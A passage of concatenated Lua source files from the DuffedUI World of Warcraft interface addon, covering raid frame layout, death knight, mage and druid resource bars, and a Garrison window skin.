leader:Height(12)
leader:Width(12)
leader:SetPoint("TOPLEFT", 0, 8)
self.Leader = leader
local MasterLooter = self.Health:CreateTexture(nil, "OVERLAY")
MasterLooter:Height(12)
MasterLooter:Width(12)
self.MasterLooter = MasterLooter
self:RegisterEvent("PARTY_LEADER_CHANGED", D.MLAnchorUpdate)
self:RegisterEvent("PARTY_MEMBERS_CHANGED", D.MLAnchorUpdate)
if C["raid"].showrange == true then
local range = {insideAlpha = 1, outsideAlpha = C["raid"].raidalphaoor}
self.Range = range
end
end
oUF:RegisterStyle("DPS", Shared)
oUF:Factory(function(self)
oUF:SetActiveStyle("DPS")
local raid = self:SpawnHeader("oUF_DPS", nil, "solo,raid,party",
"oUF-initialConfigFunction", [[
local header = self:GetParent()
self:SetWidth(header:GetAttribute("initial-width"))
self:SetHeight(header:GetAttribute("initial-height"))
]],
"initial-width", D.Scale(140 * FrameScale),
"initial-height", D.Scale(14 * FrameScale),
"initial-anchor", "BOTTOM",
"showPlayer", C["raid"].showplayerinparty,
"showParty", true,
"showRaid", true,
"showSolo", false,
"groupFilter", "1,2,3,4,5,6,7,8",
"groupingOrder", "1,2,3,4,5,6,7,8",
"groupBy", "GROUP",
"yOffset", D.Scale(8),
"point", "BOTTOM"
)
if DuffedUIChatBackgroundLeft then raid:Point("BOTTOMLEFT", DuffedUIChatBackgroundLeft, "TOPLEFT", 2, 22) else raid:Point("BOTTOMLEFT", ChatFrame1, "TOPLEFT", 2, 33) end
end)
--[[Option to hide group 5 - 8]]--
if C["raid"].MaxGroup then
local MaxGroup = CreateFrame("Frame")
MaxGroup:RegisterEvent("PLAYER_ENTERING_WORLD")
MaxGroup:RegisterEvent("ZONE_CHANGED_NEW_AREA")
MaxGroup:SetScript("OnEvent", function(self)
local inInstance, instanceType = IsInInstance()
local _, _, _, _, maxPlayers, _, _ = GetInstanceInfo()
if inInstance and instanceType == "raid" and maxPlayers == 20 then
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4")
elseif inInstance and instanceType == "raid" and maxPlayers == 40 then
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4,5,6,7,8")
else
DuffedUIGrid:SetAttribute("groupFilter", "1,2,3,4,5,6")
end
end)
end<file_sep>/DuffedUI/modules/unitframes/elements/deathknight.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "DEATHKNIGHT" then return end
local texture = C["media"].normTex
local font, fonsize, fontflag = C["media"].font, 12, "THINOUTLINE"
local RuneColors = {
{ 0.69, 0.31, 0.31 }, -- blood
{ 0.33, 0.59, 0.33 }, -- unholy
{ 0.31, 0.45, 0.63 }, -- frost
{ 0.84, 0.75, 0.65 }, -- death
{ 0, 0.82, 1 }, -- runic power
}
local Runes = {}
local RuneMap = { 1, 2, 3, 4, 5, 6 }
if not C["unitframes"].attached then D.ConstructEnergy("RunicPower", 216, 5) end
D.ConstructRessources = function(name, width, height)
Runes = CreateFrame("Frame", name, UIParent)
Runes:SetSize(width, height)
Runes:CreateBackdrop()
if not C["unitframes"].attached then Runes:SetParent(DuffedUIPetBattleHider) end
for i = 1, 6 do
local rune = CreateFrame("StatusBar", "Rune"..i, Runes)
rune:SetStatusBarTexture(texture)
rune:SetStatusBarColor(unpack(RuneColors[math.ceil(RuneMap[i] / 2) ]))
rune:SetMinMaxValues(0, 10)
rune:SetHeight(height)
if i == 1 then
rune:SetWidth(36)
rune:SetPoint("LEFT", Runes, "LEFT", 0, 0)
else
rune:SetWidth(35)
rune:SetPoint("LEFT", Runes[i - 1], "RIGHT", 1, 0)
end
tinsert(Runes, rune)
end
local function UpdateRune(id, start, duration, finished)
local rune = Runes[id]
rune:SetStatusBarColor(unpack(RuneColors[GetRuneType(RuneMap[id])]))
rune:SetMinMaxValues(0, duration)
if finished then rune:SetValue(duration) else rune:SetValue(GetTime() - start) end
end
local OnUpdate = CreateFrame("Frame")
OnUpdate.TimeSinceLastUpdate = 0
local updateFunc = function(self, elapsed)
self.TimeSinceLastUpdate = self.TimeSinceLastUpdate + elapsed
if self.TimeSinceLastUpdate > 0.07 then
for i = 1, 6 do UpdateRune(i, GetRuneCooldown(RuneMap[i])) end
self.TimeSinceLastUpdate = 0
end
end
OnUpdate:SetScript("OnUpdate", updateFunc)
Runes:RegisterEvent("PLAYER_REGEN_DISABLED")
Runes:RegisterEvent("PLAYER_REGEN_ENABLED")
Runes:RegisterEvent("PLAYER_ENTERING_WORLD")
Runes:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
OnUpdate:SetScript("OnUpdate", updateFunc)
elseif event == "PLAYER_REGEN_ENABLED" then
OnUpdate:SetScript("OnUpdate", updateFunc)
elseif event == "PLAYER_ENTERING_WORLD" then
RuneFrame:ClearAllPoints()
end
end)
if C["unitframes"].oocHide then
Runes:RegisterEvent("PLAYER_REGEN_DISABLED")
Runes:RegisterEvent("PLAYER_REGEN_ENABLED")
Runes:RegisterEvent("PLAYER_ENTERING_WORLD")
Runes:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then Runes:SetAlpha(0) end
end
end)
end
end<file_sep>/DuffedUI/modules/skins/garrison.lua
local D, C, L = unpack(select(2, ...))
local function LoadGarrisonSkin()
--[[Tooltips]]--
local Tooltips = {
FloatingGarrisonFollowerTooltip,
FloatingGarrisonFollowerAbilityTooltip,
FloatingGarrisonMissionTooltip,
GarrisonFollowerAbilityTooltip,
GarrisonBuildingFrame.BuildingLevelTooltip,
GarrisonFollowerTooltip
}
for i, tt in pairs(Tooltips) do
tt.Background:SetTexture(nil)
tt.BorderTop:SetTexture(nil)
tt.BorderTopLeft:SetTexture(nil)
tt.BorderTopRight:SetTexture(nil)
tt.BorderLeft:SetTexture(nil)
tt.BorderRight:SetTexture(nil)
tt.BorderBottom:SetTexture(nil)
tt.BorderBottomRight:SetTexture(nil)
tt.BorderBottomLeft:SetTexture(nil)
tt:SetTemplate("Transparent")
if tt.Portrait then tt.Portrait:StripTextures() end
if tt.CloseButton then tt.CloseButton:SkinCloseButton() end
if tt.Icon then tt.Icon:SetTexCoord(unpack(D.IconCoord)) end
end
--[[Garrison Landing Page]]--
GarrisonLandingPage:StripTextures()
GarrisonLandingPage:SetTemplate("Transparent")
GarrisonLandingPage.CloseButton:StripTextures()
GarrisonLandingPage.CloseButton:SkinCloseButton()
GarrisonLandingPageReportListListScrollFrameScrollBar:StripTextures()
GarrisonLandingPageReportListListScrollFrameScrollBar:SkinScrollBar()
for i = 1, 2 do
_G["GarrisonLandingPageTab" .. i]:StripTextures()
_G["GarrisonLandingPageTab" .. i]:SkinTab()
end
GarrisonLandingPageTab1:ClearAllPoints()
GarrisonLandingPageTab1:Point("BOTTOMLEFT", 0, -40)
GarrisonLandingPage.FollowerTab.AbilitiesFrame:StripTextures()
GarrisonLandingPage.FollowerList:StripTextures()
GarrisonLandingPage.FollowerList.SearchBox:StripTextures()
GarrisonLandingPage.FollowerList.SearchBox:SetTemplate()
GarrisonLandingPage.FollowerList.SearchBox:ClearAllPoints()
GarrisonLandingPage.FollowerList.SearchBox:Point("TOPLEFT", GarrisonLandingPageListScrollFrame, 0, 30)
GarrisonLandingPage.FollowerTab.XPBar:StripTextures()
GarrisonLandingPage.FollowerTab.XPBar:SetStatusBarTexture(C["media"].normTex)
GarrisonLandingPage.FollowerTab.XPBar:CreateBackdrop()
GarrisonLandingPageListScrollFrame:StripTextures()
GarrisonLandingPageListScrollFrame:SetTemplate()
GarrisonLandingPageListScrollFrameScrollBar:StripTextures()
GarrisonLandingPageListScrollFrameScrollBar:SkinScrollBar()
--[[Work Orders]]--
GarrisonCapacitiveDisplayFrame:StripTextures()
GarrisonCapacitiveDisplayFrame:SetTemplate("Transparent")
GarrisonCapacitiveDisplayFramePortrait:Kill()
GarrisonCapacitiveDisplayFrameInset:StripTextures()
GarrisonCapacitiveDisplayFrameCloseButton:SkinCloseButton()
GarrisonCapacitiveDisplayFrame.StartWorkOrderButton:StripTextures()
GarrisonCapacitiveDisplayFrame.StartWorkOrderButton:SkinButton()
GarrisonCapacitiveDisplayFrame.StartWorkOrderButton:ClearAllPoints()
GarrisonCapacitiveDisplayFrame.StartWorkOrderButton:Point("BOTTOMRIGHT", GarrisonCapacitiveDisplayFrame, "BOTTOMRIGHT", -9, 4)
GarrisonCapacitiveDisplayFrame.CapacitiveDisplay:StripTextures()
GarrisonCapacitiveDisplayFrame.CapacitiveDisplay:SetTemplate()
GarrisonCapacitiveDisplayFrame.CapacitiveDisplay.ShipmentIconFrame:SetTemplate()
GarrisonCapacitiveDisplayFrame.CapacitiveDisplay.ShipmentIconFrame.Icon:SetTexCoord(unpack(D.IconCoord))
GarrisonCapacitiveDisplayFrame.CapacitiveDisplay.ShipmentIconFrame.Icon:SetInside()
local function Reagents()
for i, v in ipairs(GarrisonCapacitiveDisplayFrame.CapacitiveDisplay.Reagents) do
local Texture = v.Icon:GetTexture()
v:StripTextures()
v:StyleButton()
v:CreateBackdrop()
v.Icon:SetTexture(Texture)
v.backdrop:ClearAllPoints()
v.backdrop:SetOutside(v.Icon)
v.Icon:SetTexCoord(unpack(D.IconCoord))
v.NameFrame:Hide()
end
end
hooksecurefunc("GarrisonCapacitiveDisplayFrame_Update", Reagents)
--[[Follower Recruiting]]--
GarrisonRecruiterFrame:StripTextures()
GarrisonRecruiterFrame:SetTemplate("Transparent")
GarrisonRecruiterFramePortrait:Kill()
GarrisonRecruiterFrameInset:StripTextures()
GarrisonRecruiterFrameInset:SetTemplate()
GarrisonRecruiterFrameCloseButton:SkinCloseButton()
GarrisonRecruiterFramePickThreatDropDown:SkinDropDownBox()
GarrisonRecruiterFrame.Pick.ChooseRecruits:StripTextures()
GarrisonRecruiterFrame.Pick.ChooseRecruits:SkinButton()
GarrisonRecruitSelectFrame:StripTextures()
GarrisonRecruitSelectFrame:SetTemplate("Transparent")
GarrisonRecruitSelectFrame.CloseButton:SkinCloseButton()
GarrisonRecruitSelectFrame.FollowerList:StripTextures()
GarrisonRecruitSelectFrame.FollowerList:SetTemplate()
GarrisonRecruitSelectFrame.FollowerList.SearchBox:StripTextures()
GarrisonRecruitSelectFrame.FollowerList.SearchBox:SetTemplate()
GarrisonRecruitSelectFrameListScrollFrame:StripTextures()
GarrisonRecruitSelectFrameListScrollFrameScrollBar:StripTextures()
GarrisonRecruitSelectFrameListScrollFrameScrollBar:SkinScrollBar()
GarrisonRecruitSelectFrame.FollowerSelection:StripTextures()
local Frame = GarrisonRecruitSelectFrame.FollowerSelection
for i = 1, 3 do
local Button = Frame["Recruit" .. i]
Button.HireRecruits:StripTextures()
Button.HireRecruits:SkinButton()
end
--[[ Garrison Mission Frame]]--
GarrisonMissionFrame:StripTextures()
GarrisonMissionFrame:SetTemplate("Transparent")
GarrisonMissionFrame.CloseButton:SkinCloseButton()
GarrisonMissionFrameMissions.MaterialFrame:StripTextures()
GarrisonMissionFrameMissions.MaterialFrame:SetTemplate()
GarrisonMissionFrameMissions.MaterialFrame:ClearAllPoints()
GarrisonMissionFrameMissions.MaterialFrame:Point("TOPRIGHT", GarrisonMissionFrameMissionsListScrollFrame, "TOPRIGHT", -1, 27)
GarrisonMissionFrameMissions.MaterialFrame:SetHeight(GarrisonMissionFrameMissions.MaterialFrame:GetHeight() - 20)
GarrisonMissionFrameMissions.MaterialFrame:SetWidth(GarrisonMissionFrameFollowers:GetWidth())
GarrisonMissionFrameMissions:StripTextures()
GarrisonMissionFrame.MissionTab:StripTextures()
for i = 1, 2 do
_G["GarrisonMissionFrameMissionsTab" .. i]:StripTextures()
_G["GarrisonMissionFrameMissionsTab" .. i]:SkinButton()
_G["GarrisonMissionFrameMissionsTab" .. i]:Height(_G["GarrisonMissionFrameMissionsTab" .. i]:GetHeight() - 10)
_G["GarrisonMissionFrameTab" .. i]:StripTextures()
_G["GarrisonMissionFrameTab" .. i]:SkinTab()
end
GarrisonMissionFrameMissionsTab1:ClearAllPoints()
GarrisonMissionFrameMissionsTab1:Point("TOPLEFT", 20, GarrisonMissionFrameMissionsTab1:GetHeight() - 2)
GarrisonMissionFrameTab1:ClearAllPoints()
GarrisonMissionFrameTab1:Point("BOTTOMLEFT", 0, -40)
GarrisonMissionFrame.MissionTab.MissionPage:StripTextures()
GarrisonMissionFrame.MissionTab.MissionPage.Stage:StripTextures()
GarrisonMissionFrame.MissionTab.MissionPage.CloseButton:StripTextures()
GarrisonMissionFrame.MissionTab.MissionPage.CloseButton:SkinCloseButton()
GarrisonMissionFrame.MissionTab.MissionPage.CostFrame:SetTemplate()
GarrisonMissionFrame.MissionTab.MissionPage.StartMissionButton:StripTextures()
GarrisonMissionFrame.MissionTab.MissionPage.StartMissionButton:SkinButton()
GarrisonMissionFrameMissionsListScrollFrameScrollBar:StripTextures()
GarrisonMissionFrameMissionsListScrollFrameScrollBar:SkinScrollBar()
GarrisonMissionFrameMissionsListScrollFrame:StripTextures()
GarrisonMissionFrameMissionsListScrollFrameButton8:StripTextures()
GarrisonMissionFrameMissionsListScrollFrameButton8:SkinButton()
GarrisonMissionFrame.MissionTab.MissionPage.EmptyFollowerModel.Texture:Hide()
for i, v in ipairs(GarrisonMissionFrame.MissionTab.MissionList.listScroll.buttons) do
local Button = _G["GarrisonMissionFrameMissionsListScrollFrameButton" .. i]
if Button and not Button.skinned then
Button:StripTextures()
Button:SetTemplate()
Button:SkinButton()
Button:SetBackdropBorderColor(0, 0, 0, 0)
Button:HideInsets()
Button.LocBG:Hide()
for i = 1, #Button.Rewards do
local Texture = Button.Rewards[i].Icon:GetTexture()
Button.Rewards[i]:StripTextures()
Button.Rewards[i]:StyleButton()
Button.Rewards[i]:CreateBackdrop()
Button.Rewards[i].Icon:SetTexture(Texture)
Button.Rewards[i].backdrop:ClearAllPoints()
Button.Rewards[i].backdrop:SetOutside(Button.Rewards[i].Icon)
Button.Rewards[i].Icon:SetTexCoord(unpack(D.IconCoord))
end
Button.isSkinned = true
end
end
local Frame = GarrisonMissionFrame.MissionTab.MissionPage
for i = 1, 3 do
local Enemy = Frame["Enemy" .. i]
local Follower = Frame["Follower" .. i]
Enemy.PortraitFrame:StripTextures()
Enemy.PortraitFrame:CreateBackdrop()
Enemy.PortraitFrame.Portrait:SetTexCoord(unpack(D.IconCoord))
Follower:StripTextures()
end
GarrisonMissionFrame.FollowerTab:StripTextures()
GarrisonMissionFrame.FollowerTab:SetTemplate()
GarrisonMissionFrame.FollowerTab.XPBar:StripTextures()
GarrisonMissionFrame.FollowerTab.XPBar:SetStatusBarTexture(C["media"].normTex)
GarrisonMissionFrame.FollowerTab.XPBar:CreateBackdrop()
GarrisonMissionFrameFollowers:StripTextures()
GarrisonMissionFrameFollowers:SetTemplate()
GarrisonMissionFrameFollowers.SearchBox:StripTextures()
GarrisonMissionFrameFollowers.SearchBox:SetTemplate()
GarrisonMissionFrameFollowers.MaterialFrame:StripTextures()
GarrisonMissionFrameFollowers.MaterialFrame:SetTemplate()
GarrisonMissionFrameFollowers.MaterialFrame:ClearAllPoints()
GarrisonMissionFrameFollowers.MaterialFrame:Point("BOTTOMLEFT", GarrisonMissionFrameMissionsListScrollFrame, -7, -7)
GarrisonMissionFrameFollowers.MaterialFrame:SetHeight(GarrisonMissionFrameFollowers.MaterialFrame:GetHeight() - 20)
GarrisonMissionFrameFollowers.MaterialFrame:SetWidth(GarrisonMissionFrameFollowers:GetWidth())
GarrisonMissionFrameFollowersListScrollFrameScrollBar:StripTextures()
GarrisonMissionFrameFollowersListScrollFrameScrollBar:SkinScrollBar()
GarrisonMissionFrame.FollowerTab.ItemWeapon:StripTextures()
GarrisonMissionFrame.FollowerTab.ItemWeapon.Icon:SetTexCoord(unpack(D.IconCoord))
GarrisonMissionFrame.FollowerTab.ItemArmor:StripTextures()
GarrisonMissionFrame.FollowerTab.ItemArmor.Icon:SetTexCoord(unpack(D.IconCoord))
--[[Garrison Mission Complete]]--
GarrisonMissionFrameMissions.CompleteDialog.BorderFrame.ViewButton:StripTextures()
GarrisonMissionFrameMissions.CompleteDialog.BorderFrame.ViewButton:SkinButton()
GarrisonMissionFrame.MissionComplete:StripTextures()
GarrisonMissionFrame.MissionComplete:SetTemplate("Transparent")
GarrisonMissionFrame.MissionComplete.NextMissionButton:StripTextures()
GarrisonMissionFrame.MissionComplete.NextMissionButton:SkinButton()
local Frame = GarrisonMissionFrame.MissionComplete.Stage.FollowersFrame
for i = 1, 3 do
local Follower = Frame["Follower" .. i]
Follower:StripTextures()
Follower.XP:StripTextures()
Follower.XP:SetStatusBarTexture(C["media"].normTex)
Follower.XP:CreateBackdrop()
end
--[[Garrison Building Frame]]--
GarrisonBuildingFrame:StripTextures()
GarrisonBuildingFrame:SetTemplate("Transparent")
GarrisonBuildingFrame.CloseButton:StripTextures()
GarrisonBuildingFrame.CloseButton:SkinCloseButton()
GarrisonBuildingFrame.BuildingList:StripTextures()
GarrisonBuildingFrame.BuildingList:SetTemplate()
GarrisonBuildingFrame.Confirmation:StripTextures()
GarrisonBuildingFrame.Confirmation:SetTemplate("Transparent")
GarrisonBuildingFrame.Confirmation.CancelButton:StripTextures()
GarrisonBuildingFrame.Confirmation.CancelButton:SkinButton()
GarrisonBuildingFrame.Confirmation.UpgradeButton:StripTextures()
GarrisonBuildingFrame.Confirmation.UpgradeButton:SkinButton()
GarrisonBuildingFrame.TownHallBox.UpgradeButton:StripTextures()
GarrisonBuildingFrame.TownHallBox.UpgradeButton:SkinButton()
GarrisonBuildingFrame.InfoBox.UpgradeButton:StripTextures()
GarrisonBuildingFrame.InfoBox.UpgradeButton:SkinButton()
GarrisonBuildingFrame.BuildingList.MaterialFrame:StripTextures()
GarrisonBuildingFrame.BuildingList.MaterialFrame:SetTemplate()
GarrisonBuildingFrame.BuildingList.MaterialFrame:ClearAllPoints()
GarrisonBuildingFrame.BuildingList.MaterialFrame:Point("BOTTOMLEFT", GarrisonBuildingFrame.BuildingList, 0, -30)
GarrisonBuildingFrame.BuildingList.MaterialFrame:SetHeight(GarrisonBuildingFrame.BuildingList.MaterialFrame:GetHeight() - 20)
GarrisonBuildingFrame.BuildingList.MaterialFrame:SetWidth(GarrisonBuildingFrame.BuildingList:GetWidth())
GarrisonBuildingFrameFollowers:StripTextures()
GarrisonBuildingFrameFollowers:SetTemplate()
GarrisonBuildingFrameFollowers:Width(GarrisonBuildingFrameFollowers:GetWidth() - 10)
GarrisonBuildingFrameFollowers:ClearAllPoints()
GarrisonBuildingFrameFollowers:Point("LEFT", GarrisonBuildingFrame, 23, -15)
GarrisonBuildingFrameFollowersListScrollFrame:StripTextures()
GarrisonBuildingFrameFollowersListScrollFrameScrollBar:SkinScrollBar()
end
D.SkinFuncs["Blizzard_GarrisonUI"] = LoadGarrisonSkin
local function LoadGarrisonTooltipSkin()
--[[Tooltips]]--
local Tooltips = {
FloatingGarrisonFollowerTooltip,
FloatingGarrisonFollowerAbilityTooltip,
FloatingGarrisonMissionTooltip,
GarrisonFollowerAbilityTooltip,
}
for i, tt in pairs(Tooltips) do
tt.Background:SetTexture(nil)
tt.BorderTop:SetTexture(nil)
tt.BorderTopLeft:SetTexture(nil)
tt.BorderTopRight:SetTexture(nil)
tt.BorderLeft:SetTexture(nil)
tt.BorderRight:SetTexture(nil)
tt.BorderBottom:SetTexture(nil)
tt.BorderBottomRight:SetTexture(nil)
tt.BorderBottomLeft:SetTexture(nil)
tt:SetTemplate("Transparent")
if tt.Portrait then tt.Portrait:StripTextures() end
if tt.CloseButton then tt.CloseButton:SkinCloseButton() end
if tt.Icon then tt.Icon:SetTexCoord(unpack(D.IconCoord)) end
end
end
tinsert(D.SkinFuncs["DuffedUI"], LoadGarrisonTooltipSkin)<file_sep>/DuffedUI/modules/unitframes/elements/mage.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "MAGE" then return end
local texture = C["media"].normTex
local font, fontheight, fontflag = C["media"].font, 12, "THINOUTLINE"
local layout = C["unitframes"].layout
if not C["unitframes"].attached then D.ConstructEnergy("Mana", 216, 5) end
D.ConstructRessources = function(name, name2, width, height)
local mb = CreateFrame("Frame", name, UIParent)
mb:Size(width, height)
mb:SetBackdrop(backdrop)
mb:SetBackdropColor(0, 0, 0)
mb:SetBackdropBorderColor(0, 0, 0)
for i = 1, 4 do
mb[i] = CreateFrame("StatusBar", name .. i, mb)
mb[i]:Height(height)
mb[i]:SetStatusBarTexture(texture)
if i == 1 then
mb[i]:Width(width / 4)
mb[i]:SetPoint("LEFT", mb, "LEFT", 0, 0)
else
mb[i]:Width((width / 4) - 1)
mb[i]:SetPoint("LEFT", mb[i - 1], "RIGHT", 1, 0)
end
mb[i].bg = mb[i]:CreateTexture(nil, 'ARTWORK')
end
mb:CreateBackdrop()
if C["unitframes"].runeofpower then
local rp = CreateFrame("Frame", name2, UIParent)
rp:Size(width, height)
rp:SetBackdrop(backdrop)
rp:SetBackdropColor(0, 0, 0)
rp:SetBackdropBorderColor(0, 0, 0)
for i = 1, 2 do
rp[i] = CreateFrame("StatusBar", "DuffedUIRunePower"..i, rp)
rp[i]:Height(5)
rp[i]:SetStatusBarTexture(texture)
if i == 1 then
rp[i]:Width(width / 2)
rp[i]:SetPoint("LEFT", rp, "LEFT", 0, 0)
else
rp[i]:Width(width / 2)
rp[i]:SetPoint("LEFT", rp[i - 1], "RIGHT", 1, 0)
end
rp[i].bg = rp[i]:CreateTexture(nil, 'ARTWORK')
end
if layout == 1 or layout == 3 then rp:CreateBackdrop() end
end
if C["unitframes"].oocHide then
mb:RegisterEvent("PLAYER_REGEN_DISABLED")
mb:RegisterEvent("PLAYER_REGEN_ENABLED")
mb:RegisterEvent("PLAYER_ENTERING_WORLD")
mb:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then mb:SetAlpha(0) end
end
end)
if C["unitframes"].runeofpower then
rp:RegisterEvent("PLAYER_REGEN_DISABLED")
rp:RegisterEvent("PLAYER_REGEN_ENABLED")
rp:RegisterEvent("PLAYER_ENTERING_WORLD")
rp:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then rp:SetAlpha(0) end
end
end)
end
end
end<file_sep>/DuffedUI/modules/unitframes/elements/druid.lua
local D, C, L = unpack(select(2, ...))
if D.Class ~= "DRUID" then return end
local texture = C["media"].normTex
local layout = C["unitframes"].layout
local font, fonsize, fontflag = C["media"].font, 12, "THINOUTLINE"
Colors = {
[1] = {.70, .30, .30},
[2] = {.70, .40, .30},
[3] = {.60, .60, .30},
[4] = {.40, .70, .30},
[5] = {.30, .70, .30},
}
if not C["unitframes"].attached then D.ConstructEnergy("Energy", 216, 5) end
D.ConstructRessources = function(name, width, height)
local DruidMana = CreateFrame("StatusBar", name .. "Mana", UIParent)
DruidMana:Size(width, height)
DruidMana:SetStatusBarTexture(texture)
DruidMana:SetStatusBarColor(.30, .52, .90)
DruidMana:CreateBackdrop()
DruidMana:SetBackdrop(backdrop)
DruidMana:SetBackdropColor(0, 0, 0)
DruidMana:SetBackdropBorderColor(0, 0, 0)
DruidMana.Background = DruidMana:CreateTexture(nil, "BORDER")
DruidMana.Background:SetAllPoints()
DruidMana.Background:SetTexture(.30, .52, .90, .2)
local EclipseBar = CreateFrame("Frame", name .. "EclipseBar", UIParent)
EclipseBar:SetFrameStrata("MEDIUM")
EclipseBar:SetFrameLevel(8)
EclipseBar:Size(width, height)
EclipseBar:SetBackdrop(backdrop)
EclipseBar:SetBackdropColor(0, 0, 0)
EclipseBar:SetBackdropBorderColor(0, 0, 0, 0)
EclipseBar:CreateBackdrop()
EclipseBar.LunarBar = CreateFrame("StatusBar", nil, EclipseBar)
EclipseBar.LunarBar:SetPoint("LEFT", EclipseBar, "LEFT", 0, 0)
EclipseBar.LunarBar:SetSize(EclipseBar:GetWidth(), EclipseBar:GetHeight())
EclipseBar.LunarBar:SetStatusBarTexture(texture)
EclipseBar.LunarBar:SetStatusBarColor(.50, .52, .70)
EclipseBar.SolarBar = CreateFrame("StatusBar", nil, EclipseBar)
EclipseBar.SolarBar:SetPoint("LEFT", EclipseBar.LunarBar:GetStatusBarTexture(), "RIGHT", 0, 0)
EclipseBar.SolarBar:SetSize(EclipseBar:GetWidth(), EclipseBar:GetHeight())
EclipseBar.SolarBar:SetStatusBarTexture(texture)
EclipseBar.SolarBar:SetStatusBarColor(.80, .82, .60)
EclipseBar.Text = EclipseBar:CreateFontString(nil, "OVERLAY")
if layout == 3 then EclipseBar.Text:SetPoint("TOP", EclipseBar, "BOTTOM", 0, -15) else EclipseBar.Text:SetPoint("BOTTOM", EclipseBar, "TOP", 0, 0) end
EclipseBar.Text:SetFont(C["media"].font, 12, "THINOUTLINE")
EclipseBar.PostUpdatePower = D.EclipseDirection
local WildMushroom = CreateFrame("Frame", name .. "WildMushroom", UIParent)
WildMushroom:SetSize(width, height)
WildMushroom:SetBackdrop(backdrop)
WildMushroom:SetBackdropColor(0, 0, 0)
WildMushroom:SetBackdropBorderColor(0, 0, 0)
for i = 1, 3 do
WildMushroom[i] = CreateFrame("StatusBar", name .. "WildMushroom" .. i, WildMushroom)
WildMushroom[i]:SetHeight(height)
WildMushroom[i]:SetStatusBarTexture(texture)
if i == 1 then
WildMushroom[i]:SetWidth(width / 3)
WildMushroom[i]:SetPoint("LEFT", WildMushroom, "LEFT", 0, 0)
else
WildMushroom[i]:SetWidth((width / 3) - 1)
WildMushroom[i]:SetPoint("LEFT", WildMushroom[i - 1], "RIGHT", 1, 0)
end
WildMushroom[i].bg = WildMushroom[i]:CreateTexture(nil, 'ARTWORK')
end
if layout == 1 or layout == 3 then WildMushroom:CreateBackdrop() end
local ComboPoints= CreateFrame("Frame", name .. "ComboPoints", UIParent)
ComboPoints:Size(width, height)
ComboPoints:CreateBackdrop()
ComboPoints:SetBackdrop(backdrop)
ComboPoints:SetBackdropColor(0, 0, 0)
ComboPoints:SetBackdropBorderColor(0, 0, 0, 0)
for i = 1, 5 do
ComboPoints[i] = CreateFrame("StatusBar", name .. "ComboPoints" .. i, ComboPoints)
ComboPoints[i]:Height(height)
ComboPoints[i]:SetStatusBarTexture(texture)
ComboPoints[i]:SetStatusBarColor(unpack(Colors[i]))
ComboPoints[i].bg = ComboPoints[i]:CreateTexture(nil, "BORDER")
ComboPoints[i].bg:SetTexture(unpack(Colors[i]))
if i == 1 then
ComboPoints[i]:SetPoint("LEFT", ComboPoints)
ComboPoints[i]:Width(44)
ComboPoints[i].bg:SetAllPoints(ComboPoints[i])
else
ComboPoints[i]:Point("LEFT", ComboPoints[i - 1], "RIGHT", 1, 0)
ComboPoints[i]:Width(42)
ComboPoints[i].bg:SetAllPoints(ComboPoints[i])
end
ComboPoints[i].bg:SetTexture(texture)
ComboPoints[i].bg:SetAlpha(.15)
end
Visibility = CreateFrame("Frame")
Visibility:RegisterEvent("ACTIVE_TALENT_GROUP_CHANGED")
Visibility:SetScript("OnEvent", function()
local spec = GetSpecialization()
local specName = spec and select(2, GetSpecializationInfo(spec)) or "None"
if specName == "Balance" then
ComboPoints:Hide()
elseif specName == "Feral" then
WildMushroom:Hide()
EclipseBar:Hide()
elseif specName == "Restoration" then
EclipseBar:Hide()
ComboPoints:Hide()
elseif specName == "Guardian" then
EclipseBar:Hide()
ComboPoints:Hide()
WildMushroom:Hide()
end
end)
if C["unitframes"].oocHide then
DruidMana:RegisterEvent("PLAYER_REGEN_DISABLED")
DruidMana:RegisterEvent("PLAYER_REGEN_ENABLED")
DruidMana:RegisterEvent("PLAYER_ENTERING_WORLD")
DruidMana:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then DruidMana:SetAlpha(0) end
end
end)
EclipseBar:RegisterEvent("PLAYER_REGEN_DISABLED")
EclipseBar:RegisterEvent("PLAYER_REGEN_ENABLED")
EclipseBar:RegisterEvent("PLAYER_ENTERING_WORLD")
EclipseBar:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
elseif event == "PLAYER_REGEN_ENABLED" then
UIFrameFadeOut(self, 2, self:GetAlpha(), 0)
elseif event == "PLAYER_ENTERING_WORLD" then
if not InCombatLockdown() then EclipseBar:SetAlpha(0) end
end
end)
WildMushroom:RegisterEvent("PLAYER_REGEN_DISABLED")
WildMushroom:RegisterEvent("PLAYER_REGEN_ENABLED")
WildMushroom:RegisterEvent("PLAYER_ENTERING_WORLD")
WildMushroom:SetScript("OnEvent", function(self, event)
if event == "PLAYER_REGEN_DISABLED" then
UIFrameFadeIn(self, (0.3 * (1 - self:GetAlpha())), self:GetAlpha(), 1)
